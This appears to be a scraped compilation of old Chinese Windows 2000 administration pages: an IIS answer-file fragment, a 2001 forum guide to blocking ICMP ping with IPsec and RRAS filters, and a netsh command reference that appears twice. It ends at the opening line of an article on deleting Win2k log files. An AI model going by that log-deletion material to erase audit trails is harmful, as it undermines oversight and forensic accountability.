XResolution = 800
YResolution = 600
VRefresh = 70

[Networking]
InstallDefaultComponents = YES

[Identification]
JoinWorkgroup = Workgroup

;Turns NT Components (and their respective
    sections) ON or OFF
[Components]
iis_common = on
iis_inetmgr = on
iis_www = on
iis_ftp = on
iis_htmla = on
iis_doc = on
iis_pwmgr = on
iis_smtp = on
iis_smtp_docs = on
mts_core = on
msmq = off
terminalservices = off
reminst = off
certsrv = off
rstorage = off
indexsrv_system = on
certsrv_client = off
certsrv_server = off
certsrv_doc = off

[InternetServer]
;Without these keys specified IIS will use the default settings
; Note that the Path is location for INETSRV, the core IIS programs and files.
Path=D:\Securelocation
PathFTPRoot=E:\Inetpub\Ftproot PathWWWRoot=E:\Inetpub\Wwwroot


Win2000如何预防Ping攻击

Win2000如何预防Ping攻击
本帖版权归原作者，其它媒体或网站转载请与e龙西祠胡同[http://www.xici.net]或原作者联系，并注明出处。
作者: shotgun 发表日期: 2001-05-07 08:49:24 返回《黑客也是侠》 快速返回

在Win2000中如何关闭ICMP(Ping)
ICMP的全名是Internet Control and Message Protocal即因特网控制消息/错误报文协议，这个协议主要是用来进行错误信息和控制信息的传递，例如著名的Ping和Tracert工具都是利用ICMP协议中的ECHO request报文进行的（请求报文ICMP ECHO类型8代码0，应答报文ICMP ECHOREPLY类型0代码0）。
ICMP协议有一个特点---它是无连结的，也就是说只要发送端完成ICMP报文的封装并传递给路由器，这个报文将会象邮包一样自己去寻找目的地址，这个特点使得ICMP协议非常灵活快捷，但是同时也带来一个致命的缺陷---易伪造（邮包上的寄信人地址是可以随便写的），任何人都可以伪造一个ICMP报文并发送出去，伪造者可以利用SOCK_RAW编程直接改写报文的ICMP首部和IP首部，这样的报文携带的源地址是伪造的，在目的端根本无法追查，（攻击者不怕被抓那还不有恃无恐？）根据这个原理，外面出现了不少基于ICMP的攻击软件，有通过网络架构缺陷制造ICMP风暴的，有使用非常大的报文堵塞网络的，有利用ICMP碎片攻击消耗服务器CPU的，甚至如果将ICMP协议用来进行通讯，可以制作出不需要任何TCP/UDP端口的木马（参见《揭开木马的神秘面纱三》）......既然ICMP协议这么危险，我们为什么不关掉它呢？
我们都知道，Win2000在网络属性中自带了一个TCP/IP过滤器，我们来看看能不能通过这里关掉ICMP协议，桌面上右击网上邻居->属性->右击你要配置的网卡->属性->TCP/IP->高级->选项->TCP/IP过滤，这里有三个过滤器，分别为：TCP端口、UDP端口和IP协议，我们先允许TCP/IP过滤，然后一个一个来配置，先是TCP端口，点击"只允许"，然后在下面加上你需要开的端口，一般来说WEB服务器只需要开80(www)，FTP服务器需要开20(FTP Data)，21(FTP Control)，邮件服务器可能需要打开25(SMTP),110(POP3)，以此类推......接着是UDP，UDP协议和ICMP协议一样是基于无连结的，一样容易伪造，所以如果不是必要（例如要从UDP提供DNS服务之类）应该选择全部不允许，避免受到洪水（Flood）或碎片（Fragment）攻击。最右边的一个编辑框是定义IP协议过滤的，我们选择只允许TCP协议通过，添加一个6（6是TCP在IP协议中的代码，IPPROTO_TCP=6）,从道理上来说，只允许TCP协议通过时无论UDP还是ICMP都不应该能通过，可惜的是这里的IP协议过滤指的是狭义的IP协议，从架构上来说虽然ICMP协议和IGMP协议都是IP协议的附属协议，但是从网络7层结构上ICMP/IGMP协议与IP协议同属一层，所以微软在这里的IP协议过滤是不包括ICMP协议的，也就是说即使你设置了“只允许TCP协议通过”，ICMP报文仍然可以正常通过，所以如果我们要过滤ICMP协议还需要另想办法。
刚刚在我们进行TCP/IP过滤时，还有另外一个选项：IP安全机制（IP Security)，我们过滤ICMP的想法就要着落在它身上。
打开本地安全策略，选择IP安全策略，在这里我们可以定义自己的IP安全策略。
一个IP安全过滤器由两个部分组成：过滤策略和过滤作，过滤策略决定哪些报文应当引起过滤器的关注，过滤作决定过滤器是“允许”还是“拒绝”报文的通过。要新建IP安全过滤器，必须新建自己的过滤策略和过滤作：右击本机的IP安全策略，选择管理IP过滤器，在IP过滤器管理列表中建立一个新的过滤规则：ICMP_ANY_IN，源地址选任意IP，目标地址选本机，协议类型是ICMP，切换到管理过滤器作，增加一个名为Deny的作，作类型为"阻止"（Block）。这样我们就有了一个关注所有进入ICMP报文的过滤策略和丢弃所有报文的过滤作了。需要注意的是，在地址选项中有一个镜像选择，如果选中镜像，那么将会建立一个对称的过滤策略，也就是说当你关注any IP->my IP的时候，由于镜像的作用，实际上你也同时关注了my IP->any IP，你可以根据自己的需要选择或者放弃镜像。
再次右击本机的IP安全策略，选择新建IP过滤策略，建立一个名称为ICMP Filter的过滤器，通过增加过滤规则向导，我们把刚刚定义的ICMP_ANY_IN过滤策略指定给ICMP Filter，然后在作选框中选择我们刚刚定义的Deny作，退出向导窗口，右击ICMP Filter并启用它，现在任何地址进入的ICMP报文都会被丢弃了。
虽然用IP sec能够对ICMP报文进行过滤，不过作起来太麻烦，而且如果你只需要过滤特定的ICMP报文，还要保留一些常用报文（如主机不可达、网络不可达等），IP sec策略就力不从心了，我们可以利用win2000的另一个强大工具路由与远程访问控制（Routing & Remote Access）来完成这些复杂的过滤作。
路由与远程访问控制是win2000用来管理路由表、配置VPN、控制远程访问、进行IP报文过滤的工具，默认情况下并没有安装，所以首先你需要启用它，打开"管理工具"->"路由与远程访问"，右击服务器（如果没有则需要添加本机）选择"配置并启用路由及远程访问"，这时配置向导会让你选择是什么样的服务器，一般来说，如果你不需要配置VPN服务器，那么选择"手动配置"就可以了，配置完成后，主机下将出现一个IP路由的选项，在"常规"中选择你想配置的网卡（如果你有多块网卡，你可以选择关闭某一块的ICMP），在网卡属性中点击"输入筛选器"，添加一条过滤策略"from:ANY　to:ANY　协议:ICMP　类型:8 :编码:0　丢弃"就可以了（类型8编码0就是Ping使用的ICMP_ECHO报文，如果要过滤所有的ICMP报文只需要将类型和编码都设置为255）
细心的朋友刚才可能已经发现，在输入、输出过滤器的下面，还有一个"碎片检查"功能，这个功能使用来应付IP碎片攻击的，这已经超出了本文所讨论的范围，我会在以后的拒绝服务攻击的文章中继续和大家一起探讨的。Win2000的路由及远程访问是一个功能非常强大的工具集，如果你好好地研究，一定能发现更多的功能和技巧，如果你有什么心得体会，也请不吝告诉我，我的Email地址是：Shotgun@xici.net

  Patching Heroes......
中华补天

补充日期: 2001-05-07 09:05:36

有很多朋友问过我：怎么样在Win2K下单独关闭一个端口？（比如危险的139）
通常的说法是没法关一个，要关全部关（用TCP/IP过滤器），其实如果用IP安全策略或者Routing & Remote Access就很方便了，想关哪个关哪个。


Win2K/WinXP网络显示、配置常用命令（命令行模式）

from: http://www.yesky.com/

http://c2c.yesky.com/book/html/2299.html
--------------------------------------------------------------------------------
如果你有这个方面的问题请到网络知识去提问或发表你的意见

来源：论坛转载无法确定出处，如有版权问题请与我们联系

使用 netstat 显示连接统计
可以使用 netstat 命令显示协议统计信息和当前的 TCP/IP 连接。netstat -a 命令将显示所有连接，而 netstat -r 显示路由表和活动连接。netstat -e 命令将显示 Ethernet 统计信息，而 netstat -s 显示每个协议的统计信息。如果使用 netstat -n，则不能将地址和端口号转换成名称。
Tracert（跟踪路由）是路由跟踪实用程序，用于确定 IP 数据报访问目标所采取的路径。Tracert 命令用 IP 生存时间 (TTL) 字段和 ICMP 错误消息来确定从一个主机到网络上其他主机的路由。
-d 指定不将IP 地址解析到主机名称。
-h maximum_hops 指定跃点数以跟踪到称为 target_name 的主机的路由。
-j host-list 指定 Tracert 实用程序数据包所采用路径中的路由器接口列表。
-w timeout 等待 timeout 为每次回复所指定的毫秒数。
target_name 目标主机的名称或 IP 地址。
pathping 命令是一个路由跟踪工具，它将 ping 和 tracert 命令的功能和这两个工具所不提供的其他信息结合起来。pathping 命令在一段时间内将数据包发送到到达最终目标的路径上的每个路由器，然后基于数据包的计算机结果从每个跃点返回。由于命令显示数据包在任何给定路由器或链接上丢失的程度，因此可以很容易地确定可能导致网络问题的路由器或链接。
-n Hostnames 不将地址解析成主机名。
-h Maximum hops 搜索目标的最大跃点数。
-g Host-list 沿着路由列表释放源路由。
-p Period 在 ping 之间等待的毫秒数。
-q Num_queries 每个跃点的查询数。
-w Time-out 为每次回复所等待的毫秒数。
-T Layer 2 tag 将第 2 层优先级标记（例如，对于 IEEE 802.1p）连接到数据包并将它发送到路径中的每个网络设备。这有助于标识没有正确配置第 2 层优先级的网络设备。-T 开关用于测试服务质量 (QoS) 连通性。
-R RSVP test Che 检查以确定路径中的每个路由器是否支持“资源保留协议 (RSVP)”，此协议允许主机为数据流保留一定量的带宽。 -R 开关用于测试服务质量 (QoS) 连通性。
在命令提示符下交互使用 DHCP 命令
打开 命令提示符。
键入 netsh。
在 netsh>(Netshell) 命令提示行键入“dhcp”。
在 dhcp>（DHCP 辅助程序）命令提示行，为您要管理的服务器键入 server \\servername 或 server ip_address。
一旦您有权管理的服务器已成功连接，则会看到“您可以对服务器 servername 进行读写访问”
一旦连接成功，您就可以使用用于 DHCP 的任何支持的 Netshell 命令。 键入 /? 或 help 来显示直接的 DHCP 子命令菜单或作为选项显示，键入 list 列出可与 DHCP 一起使用的所有 Netshell 子命令。
route 的命令
routing ip add/delete/set/show interface 在指定接口上添加、删除、配置或显示常规 IP 路由设置。
routing ip add/delete/set/show filter 在指定接口上添加、删除、配置或显示 IP 数据包筛选器。
routing ip add/delete/show boundary 在指定接口上添加、删除或显示多播边界设置。
routing ip add/set ipiptunnel 添加或配置 IP 中的 IP 接口。
routing ip add/delete/set/show rtmroute 添加、配置或显示不持续的路由表管理器路由。
routing ip add/delete/set/show persistentroute 添加、删除、配置或显示持续路由。
routing ip add/delete/set/show preferenceforprotocol 添加、删除、配置或显示路由协议的优先级。
routing ip add/delete/set/show scope 添加、删除或显示多播作用域。
routing ip set/show loglevel 配置或显示全局 IP 记录等级。
routing ip show helper 显示 IP 的所有 Netsh 实用程序子环境。
routing ip show protocol 显示所有正在运行的 IP 路由协议。
routing ip show mfe 显示多播转发项。
routing ip show mfestats 显示多播转发项统计。
routing ip show boundarystats 显示 IP 多播边界。
routing ip show rtmdestinations 显示路由表管理器路由表中的目标。
routing ip show rtmroutes 显示路由表管理器路由表中的路由。
routing ip nat set/show global 配置或显示全局网络地址转换 (NAT) 设置。
routing ip nat add/delete/set/show interface 添加、删除、配置或显示指定接口的 NAT 设置。
routing ip nat add/delete addressrange 在 NAT 接口公用地址池中添加或删除一个地址范围。
routing ip nat add/delete addressmapping 添加或删除 NAT 地址映射。
routing ip nat add/delete portmapping 添加或删除 NAT 端口映射。
routing ip autodhcp set/show global 配置或显示全局 DHCP 分配器参数。
routing ip autodhcp set/show interface 配置或显示指定接口的 DHCP 分配器设置。
routing ip autodhcp add/delete exclusion 在 DHCP 分配器地址范围中添加或删除一个排除范围。
routing ip dnsproxy set/show global 配置或显示全局 DNS 代理参数。
routing ip dnsproxy set/show interface 配置或显示指定接口的 DNS 代理参数。
routing ip igmp set/show global 配置或显示 IGMP 全局设置。
routing ip igmp add/delete/set/show interface 在指定接口上添加、删除、配置或显示 IGMP。
routing ip igmp add/delete staticgroup 添加或删除指定接口的静态多播组。
routing ip igmp show grouptable 显示 IGMP 主机组表。
routing ip igmp show ifstats 显示每个接口的 IGMP 统计。
routing ip igmp show iftable 显示每个接口的 IGMP 主机组。
routing ip igmp show proxygrouptable 显示 IGMP 代理接口的 IGMP 组表。
routing ip igmp show rasgrouptable 显示远程访问服务器所使用的 Internet 接口的组表。
routing ip ospf set/show global 配置或显示全局 OSPF 设置。
routing ip ospf add/delete/set/show interface 在指定接口上添加、删除、配置或显示 OSPF。
routing ip ospf add/delete/set/show area 添加、删除、配置或显示 OSPF 区域。
routing ip ospf add/delete/show range 在指定的 OSPF 区域上添加、删除、配置或显示范围。
routing ip ospf add/delete/set/show virtif 添加、删除、配置或显示 OSPF 虚拟接口。
routing ip ospf add/delete/show neighbor 添加、删除、配置或显示 OSPF 邻居。
routing ip ospf add/delete/show protofilter 添加、删除、配置或显示 OSPF 外部路由的路由信息源。
routing ip ospf add/delete/show routefilter 添加、删除、配置或显示 OSPF 外部路由的路由筛选。
routing ip ospf show areastats 显示 OSPF 区域统计。
routing ip ospf show lsdb 显示 OSPF 链接状态数据库。
routing ip ospf show virtifstats 显示 OSPF 虚拟链接统计。
routing ip relay set global 配置“DHCP 中继代理程序”的全局设置。
routing ip relay add/delete/set interface 在指定接口上添加、删除或配置“DHCP 中继代理程序”设置。
routing ip relay add/delete dhcpserver 在 DHCP 服务器地址列表中添加或删除 DHCP 服务器的 IP 地址。
routing ip relay show ifbinding 显示接口的 IP 地址绑定。
routing ip relay show ifconfig 显示每个接口的“DHCP 中继代理程序”配置。
routing ip relay show ifstats 显示每个接口的 DHCP 统计。
routing ip rip set/show global 配置 IP 的 RIP 全局设置。
routing ip rip add/delete/set/show interface 在指定接口上添加或配置 IP 的 RIP 设置。
routing ip rip add/delete peerfilter 添加或删除 RIP 对等筛选器。
routing ip rip add/delete acceptfilter 在接受的路由列表中添加或删除 RIP 路由筛选器。
routing ip rip add/delete announcefilter 在公布的路由列表中添加或删除 RIP 路由筛选器。
routing ip rip add/delete/show neighbor 添加或删除 RIP 邻居。
routing ip rip set/show flags 在指定接口上配置 IP RIP 高级设置。
routing ip rip show globalstats 显示全局 RIP 参数。
routing ip rip show ifbinding 显示接口的 IP 地址绑定。
routing ip rip show ifstats 显示每个接口的 RIP 统计。
IPX netsh 路由命令
routing ipx add/set staticroute 在 IPX 路由表中添加或配置静态 IPX 路由。
routing ipx add/set staticservice 在 SAP 服务表中添加或配置静态 SAP 服务。
routing ipx add/set filter 在指定的接口上添加或配置 IPX 数据包筛选器。
routing ipx add/set interface 在请求拨号接口上启用 IPX 路由，或在指定的接口上配置 IPX 设置。
routing ipx set global 配置全局 IPX 路由设置。
routing ipx rip add/set filter 添加和配置 RIP 路由筛选器。
routing ipx rip set global 配置全局 IPX 的 RIP 设置。
routing ipx rip set interface 在指定接口上配置 IPX 的 RIP 设置。
routing ipx sap add/set filter 添加或配置 SAP 服务筛选器。
routing ipx sap set global 配置全局 IPX 的 SAP 设置。
routing ipx sap set interface 在指定接口上配置 IPX 的 SAP 设置。
routing ipx netbios add nbname 将静态 NETBIOS 名称添加到 IPX NetBIOS 名称表中。
routing ipx netbios set interface 在指定接口上配置基于 IPX 的 NetBIOS 设置。
WINS NetSh 命令
list 列出所有可用的 WINS 命令。
dump 将 WINS 服务器配置转储到命令输出。
add name 在服务器上注册名称。详细信息，请输入 add name /?
add partner 向服务器添加复制伙伴。详细信息，请输入 add partner /?
add pngserver 添加当前服务器的 Persona Non Grata 服务器列表。详细信息，请输入 add pngserver /?
check database 检查数据库的一致性。详细信息，请输入 check database /?
check name 检查一组 WINS 服务器的名称记录列表。详细信息，请输入 check name /?
check version 检查版本号的一致性。详细信息，请输入 check version /?
delete name 从服务器数据库中删除已注册的名称。详细信息，请输入 delete name /?
delete partner 从复制伙伴列表中删除复制伙伴。详细信息，请输入 delete partner /?
delete records 从服务器删除或逻辑删除所有记录或一组记录。详细信息，请输入 delete records /?
delete owners 删除所有者列表及其记录。详细信息，请输入 delete owners /?
delete pngserver 从列表中删除所有的或选定的 Persona Non Grata 服务器。详细信息，请输入 delete pngserver /?
init backup 备份 WINS 数据库。详细信息，请输入 init backup /?
init import 从 Lmhosts 文件导入数据。详细信息，请输入 init import /?
init pull 启动“拉”触发器，并发送给另一台 WINS 服务器。详细信息，请输入 init pull /?
init pullrange 开始另一台 WINS 服务器的一组记录，并读取该记录。详细信息，请输入 init pullrange /?
init push 启动“推”触发器，并发送给另一台 WINS 服务器。详细信息，请输入 init push /?
init replicate 用复制伙伴复制数据库。详细信息，请输入 init replicate /?
init restore 从文件还原数据库。详细信息，请输入 init restore /?
init scavenge 清除服务器的 WINS 数据库。详细信息，请输入 init scavenge /?
init search 搜索服务器的 WINS 数据库。详细信息，请输入 init search /?
reset statistics 重置服务器的统计信息。详细信息，请输入 reset statistics /?
set autopartnerconfig 设置服务器的自动复制伙伴配置信息。详细信息，请输入 set autopartnerconfig /?
set backuppath 设置服务器的备份参数。详细信息，请输入 set backuppath /?
set burstparam 设置服务器的突发处理参数。详细信息，请输入 set autopartnerconfig /?
set logparam 设置数据库和事件日志记录选项。详细信息，请输入 set logparam /?
set migrateflag 设置服务器的迁移标志。详细信息，请输入 set migrateflag /?
set namerecord 设置服务器的间隔和超时值。详细信息，请输入 set namerecord /?
set periodicdbchecking 设置服务器的定期数据库检查参数。详细信息，请输入 set periodicdbchecking /?
set pullpartnerconfig 设置指定的“拉”伙伴的配置参数。详细信息，请输入 set pullpartnerconfig /?
set pushpartnerconfig 设置指定的“推”伙伴的配置参数。详细信息，请输入 set pushpartnerconfig /?
set pullparam 设置服务器的默认“拉”参数。详细信息，请输入 set pullparam /?
set pushparam 设置服务器的默认“推”参数。详细信息，请输入 set pushparam /?
set replicateflag 设置服务器的复制标志。详细信息，请输入 set replicateflag /?
set startversion 设置数据库的开始版本 ID。详细信息，请输入 set startversion /?
show browser 显示所有活动域主浏览器的 [1Bh] 记录。详细信息，请输入 show browser /?
show database 显示指定服务器的数据库和记录。详细信息，请输入 show database /?
show info 显示配置信息。详细信息，请输入 show info /?
show name 显示服务器中特定记录的详细信息。详细信息，请输入 show name /?
show partner 显示服务器的“拉”或“推”（或“推拉”）伙伴。详细信息，请输入 show partner /?
show partnerproperties 显示默认伙伴配置。详细信息，请输入 show partnerproperties /?
show pullpartnerconfig 显示“拉”伙伴的配置信息。详细信息，请输入 show pullpartnerconfig /?
show pushpartnerconfig 显示“推”伙伴的配置信息。详细信息，请输入 show pushpartnerconfig /?
show reccount 显示指定服务器所拥有的记录数量。详细信息，请输入 show reccount /?
show recbyversion 显示指定服务器所拥有的记录。详细信息，请输入 show recbyversion /?
show server 显示当前选定的服务器。详细信息，请输入 show server /?
show statistics 显示 WINS 服务器的统计信息。详细信息，请输入 show statistics /?
show version 显示 WINS 服务器的当前版本计数器值。详细信息，请输入 show version /?
show versionmap 显示所有者 ID 到“最大版本数”的映射。详细信息，请输入 show versionmap /?
Interface 命令
interface set/show interface 启用、禁用、连接、断开连接以及显示请求拨号接口的配置。
interface set/show credentials 在请求拨号接口上配置或显示用户名、密码和域名。


Win2KWinXP网络显示、配置常用命令

使用 netstat 显示连接统计
可以使用 netstat 命令显示协议统计信息和当前的 TCP/IP 连接。netstat -a 命令将显示所有连接，而 netstat -r 显示路由表和活动连接。netstat -e 命令将显示 Ethernet 统计信息，而 netstat -s 显示每个协议的统计信息。如果使用 netstat -n，则不能将地址和端口号转换成名称。
Tracert（跟踪路由）是路由跟踪实用程序，用于确定 IP 数据报访问目标所采取的路径。Tracert 命令用 IP 生存时间 (TTL) 字段和 ICMP 错误消息来确定从一个主机到网络上其他主机的路由。
-d 指定不将IP 地址解析到主机名称。
-h maximum_hops 指定跃点数以跟踪到称为 target_name 的主机的路由。
-j host-list 指定 Tracert 实用程序数据包所采用路径中的路由器接口列表。
-w timeout 等待 timeout 为每次回复所指定的毫秒数。
target_name 目标主机的名称或 IP 地址。
pathping 命令是一个路由跟踪工具，它将 ping 和 tracert 命令的功能和这两个工具所不提供的其他信息结合起来。pathping 命令在一段时间内将数据包发送到到达最终目标的路径上的每个路由器，然后基于数据包的计算机结果从每个跃点返回。由于命令显示数据包在任何给定路由器或链接上丢失的程度，因此可以很容易地确定可能导致网络问题的路由器或链接。
-n Hostnames 不将地址解析成主机名。
-h Maximum hops 搜索目标的最大跃点数。
-g Host-list 沿着路由列表释放源路由。
-p Period 在 ping 之间等待的毫秒数。
-q Num_queries 每个跃点的查询数。
-w Time-out 为每次回复所等待的毫秒数。
-T Layer 2 tag 将第 2 层优先级标记（例如，对于 IEEE 802.1p）连接到数据包并将它发送到路径中的每个网络设备。这有助于标识没有正确配置第 2 层优先级的网络设备。-T 开关用于测试服务质量 (QoS) 连通性。
-R RSVP test Che 检查以确定路径中的每个路由器是否支持“资源保留协议 (RSVP)”，此协议允许主机为数据流保留一定量的带宽。 -R 开关用于测试服务质量 (QoS) 连通性。
在命令提示符下交互使用 DHCP 命令
打开 命令提示符。
键入 netsh。
在 netsh>(Netshell) 命令提示行键入“dhcp”。
在 dhcp>（DHCP 辅助程序）命令提示行，为您要管理的服务器键入 server \\servername 或 server ip_address。
一旦您有权管理的服务器已成功连接，则会看到“您可以对服务器 servername 进行读写访问”
一旦连接成功，您就可以使用用于 DHCP 的任何支持的 Netshell 命令。 键入 /? 或 help 来显示直接的 DHCP 子命令菜单或作为选项显示，键入 list 列出可与 DHCP 一起使用的所有 Netshell 子命令。
route 的命令
routing ip add/delete/set/show interface 在指定接口上添加、删除、配置或显示常规 IP 路由设置。
routing ip add/delete/set/show filter 在指定接口上添加、删除、配置或显示 IP 数据包筛选器。
routing ip add/delete/show boundary 在指定接口上添加、删除或显示多播边界设置。
routing ip add/set ipiptunnel 添加或配置 IP 中的 IP 接口。
routing ip add/delete/set/show rtmroute 添加、配置或显示不持续的路由表管理器路由。
routing ip add/delete/set/show persistentroute 添加、删除、配置或显示持续路由。
routing ip add/delete/set/show preferenceforprotocol 添加、删除、配置或显示路由协议的优先级。
routing ip add/delete/set/show scope 添加、删除或显示多播作用域。
routing ip set/show loglevel 配置或显示全局 IP 记录等级。
routing ip show helper 显示 IP 的所有 Netsh 实用程序子环境。
routing ip show protocol 显示所有正在运行的 IP 路由协议。
routing ip show mfe 显示多播转发项。
routing ip show mfestats 显示多播转发项统计。
routing ip show boundarystats 显示 IP 多播边界。
routing ip show rtmdestinations 显示路由表管理器路由表中的目标。
routing ip show rtmroutes 显示路由表管理器路由表中的路由。
routing ip nat set/show global 配置或显示全局网络地址转换 (NAT) 设置。
routing ip nat add/delete/set/show interface 添加、删除、配置或显示指定接口的 NAT 设置。
routing ip nat add/delete addressrange 在 NAT 接口公用地址池中添加或删除一个地址范围。
routing ip nat add/delete addressmapping 添加或删除 NAT 地址映射。
routing ip nat add/delete portmapping 添加或删除 NAT 端口映射。
routing ip autodhcp set/show global 配置或显示全局 DHCP 分配器参数。
routing ip autodhcp set/show interface 配置或显示指定接口的 DHCP 分配器设置。
routing ip autodhcp add/delete exclusion 在 DHCP 分配器地址范围中添加或删除一个排除范围。
routing ip dnsproxy set/show global 配置或显示全局 DNS 代理参数。
routing ip dnsproxy set/show interface 配置或显示指定接口的 DNS 代理参数。
routing ip igmp set/show global 配置或显示 IGMP 全局设置。
routing ip igmp add/delete/set/show interface 在指定接口上添加、删除、配置或显示 IGMP。
routing ip igmp add/delete staticgroup 添加或删除指定接口的静态多播组。
routing ip igmp show grouptable 显示 IGMP 主机组表。
routing ip igmp show ifstats 显示每个接口的 IGMP 统计。
routing ip igmp show iftable 显示每个接口的 IGMP 主机组。
routing ip igmp show proxygrouptable 显示 IGMP 代理接口的 IGMP 组表。
routing ip igmp show rasgrouptable 显示远程访问服务器所使用的 Internet 接口的组表。
routing ip ospf set/show global 配置或显示全局 OSPF 设置。
routing ip ospf add/delete/set/show interface 在指定接口上添加、删除、配置或显示 OSPF。
routing ip ospf add/delete/set/show area 添加、删除、配置或显示 OSPF 区域。
routing ip ospf add/delete/show range 在指定的 OSPF 区域上添加、删除、配置或显示范围。
routing ip ospf add/delete/set/show virtif 添加、删除、配置或显示 OSPF 虚拟接口。
routing ip ospf add/delete/show neighbor 添加、删除、配置或显示 OSPF 邻居。
routing ip ospf add/delete/show protofilter 添加、删除、配置或显示 OSPF 外部路由的路由信息源。
routing ip ospf add/delete/show routefilter 添加、删除、配置或显示 OSPF 外部路由的路由筛选。
routing ip ospf show areastats 显示 OSPF 区域统计。
routing ip ospf show lsdb 显示 OSPF 链接状态数据库。
routing ip ospf show virtifstats 显示 OSPF 虚拟链接统计。
routing ip relay set global 配置“DHCP 中继代理程序”的全局设置。
routing ip relay add/delete/set interface 在指定接口上添加、删除或配置“DHCP 中继代理程序”设置。
routing ip relay add/delete dhcpserver 在 DHCP 服务器地址列表中添加或删除 DHCP 服务器的 IP 地址。
routing ip relay show ifbinding 显示接口的 IP 地址绑定。
routing ip relay show ifconfig 显示每个接口的“DHCP 中继代理程序”配置。
routing ip relay show ifstats 显示每个接口的 DHCP 统计。
routing ip rip set/show global 配置 IP 的 RIP 全局设置。
routing ip rip add/delete/set/show interface 在指定接口上添加或配置 IP 的 RIP 设置。
routing ip rip add/delete peerfilter 添加或删除 RIP 对等筛选器。
routing ip rip add/delete acceptfilter 在接受的路由列表中添加或删除 RIP 路由筛选器。
routing ip rip add/delete announcefilter 在公布的路由列表中添加或删除 RIP 路由筛选器。
routing ip rip add/delete/show neighbor 添加或删除 RIP 邻居。
routing ip rip set/show flags 在指定接口上配置 IP RIP 高级设置。
routing ip rip show globalstats 显示全局 RIP 参数。
routing ip rip show ifbinding 显示接口的 IP 地址绑定。
routing ip rip show ifstats 显示每个接口的 RIP 统计。
IPX netsh 路由命令
routing ipx add/set staticroute 在 IPX 路由表中添加或配置静态 IPX 路由。
routing ipx add/set staticservice 在 SAP 服务表中添加或配置静态 SAP 服务。
routing ipx add/set filter 在指定的接口上添加或配置 IPX 数据包筛选器。
routing ipx add/set interface 在请求拨号接口上启用 IPX 路由，或在指定的接口上配置 IPX 设置。
routing ipx set global 配置全局 IPX 路由设置。
routing ipx rip add/set filter 添加和配置 RIP 路由筛选器。
routing ipx rip set global 配置全局 IPX 的 RIP 设置。
routing ipx rip set interface 在指定接口上配置 IPX 的 RIP 设置。
routing ipx sap add/set filter 添加或配置 SAP 服务筛选器。
routing ipx sap set global 配置全局 IPX 的 SAP 设置。
routing ipx sap set interface 在指定接口上配置 IPX 的 SAP 设置。
routing ipx netbios add nbname 将静态 NETBIOS 名称添加到 IPX NetBIOS 名称表中。
routing ipx netbios set interface 在指定接口上配置基于 IPX 的 NetBIOS 设置。
WINS NetSh 命令
list 列出所有可用的 WINS 命令。
dump 将 WINS 服务器配置转储到命令输出。
add name 在服务器上注册名称。详细信息，请输入 add name /?
add partner 向服务器添加复制伙伴。详细信息，请输入 add partner /?
add pngserver 添加当前服务器的 Persona Non Grata 服务器列表。详细信息，请输入 add pngserver /?
check database 检查数据库的一致性。详细信息，请输入 check database /?
check name 检查一组 WINS 服务器的名称记录列表。详细信息，请输入 check name /?
check version 检查版本号的一致性。详细信息，请输入 check version /?
delete name 从服务器数据库中删除已注册的名称。详细信息，请输入 delete name /?
delete partner 从复制伙伴列表中删除复制伙伴。详细信息，请输入 delete partner /?
delete records 从服务器删除或逻辑删除所有记录或一组记录。详细信息，请输入 delete records /?
delete owners 删除所有者列表及其记录。详细信息，请输入 delete owners /?
delete pngserver 从列表中删除所有的或选定的 Persona Non Grata 服务器。详细信息，请输入 delete pngserver /?
init backup 备份 WINS 数据库。详细信息，请输入 init backup /?
init import 从 Lmhosts 文件导入数据。详细信息，请输入 init import /?
init pull 启动“拉”触发器，并发送给另一台 WINS 服务器。详细信息，请输入 init pull /?
init pullrange 开始另一台 WINS 服务器的一组记录，并读取该记录。详细信息，请输入 init pullrange /?
init push 启动“推”触发器，并发送给另一台 WINS 服务器。详细信息，请输入 init push /?
init replicate 用复制伙伴复制数据库。详细信息，请输入 init replicate /?
init restore 从文件还原数据库。详细信息，请输入 init restore /?
init scavenge 清除服务器的 WINS 数据库。详细信息，请输入 init scavenge /?
init search 搜索服务器的 WINS 数据库。详细信息，请输入 init search /?
reset statistics 重置服务器的统计信息。详细信息，请输入 reset statistics /?
set autopartnerconfig 设置服务器的自动复制伙伴配置信息。详细信息，请输入 set autopartnerconfig /?
set backuppath 设置服务器的备份参数。详细信息，请输入 set backuppath /?
set burstparam 设置服务器的突发处理参数。详细信息，请输入 set autopartnerconfig /?
set logparam 设置数据库和事件日志记录选项。详细信息，请输入 set logparam /?
set migrateflag 设置服务器的迁移标志。详细信息，请输入 set migrateflag /?
set namerecord 设置服务器的间隔和超时值。详细信息，请输入 set namerecord /?
set periodicdbchecking 设置服务器的定期数据库检查参数。详细信息，请输入 set periodicdbchecking /?
set pullpartnerconfig 设置指定的“拉”伙伴的配置参数。详细信息，请输入 set pullpartnerconfig /?
set pushpartnerconfig 设置指定的“推”伙伴的配置参数。详细信息，请输入 set pushpartnerconfig /?
set pullparam 设置服务器的默认“拉”参数。详细信息，请输入 set pullparam /?
set pushparam 设置服务器的默认“推”参数。详细信息，请输入 set pushparam /?
set replicateflag 设置服务器的复制标志。详细信息，请输入 set replicateflag /?
set startversion 设置数据库的开始版本 ID。详细信息，请输入 set startversion /?
show browser 显示所有活动域主浏览器的 [1Bh] 记录。详细信息，请输入 show browser /?
show database 显示指定服务器的数据库和记录。详细信息，请输入 show database /?
show info 显示配置信息。详细信息，请输入 show info /?
show name 显示服务器中特定记录的详细信息。详细信息，请输入 show name /?
show partner 显示服务器的“拉”或“推”（或“推拉”）伙伴。详细信息，请输入 show partner /?
show partnerproperties 显示默认伙伴配置。详细信息，请输入 show partnerproperties /?
show pullpartnerconfig 显示“拉”伙伴的配置信息。详细信息，请输入 show pullpartnerconfig /?
show pushpartnerconfig 显示“推”伙伴的配置信息。详细信息，请输入 show pushpartnerconfig /?
show reccount 显示指定服务器所拥有的记录数量。详细信息，请输入 show reccount /?
show recbyversion 显示指定服务器所拥有的记录。详细信息，请输入 show recbyversion /?
show server 显示当前选定的服务器。详细信息，请输入 show server /?
show statistics 显示 WINS 服务器的统计信息。详细信息，请输入 show statistics /?
show version 显示 WINS 服务器的当前版本计数器值。详细信息，请输入 show version /?
show versionmap 显示所有者 ID 到“最大版本数”的映射。详细信息，请输入 show versionmap /?
Interface 命令
interface set/show interface 启用、禁用、连接、断开连接以及显示请求拨号接口的配置。
interface set/show credentials 在请求拨号接口上配置或显示用户名、密码和域名。


win2k的日志文件详述及删除方法

Windows2000的日志文件通常有应用程序日志，安全日志、系统日志、DNS服务器日志、FTP日志、WWW日
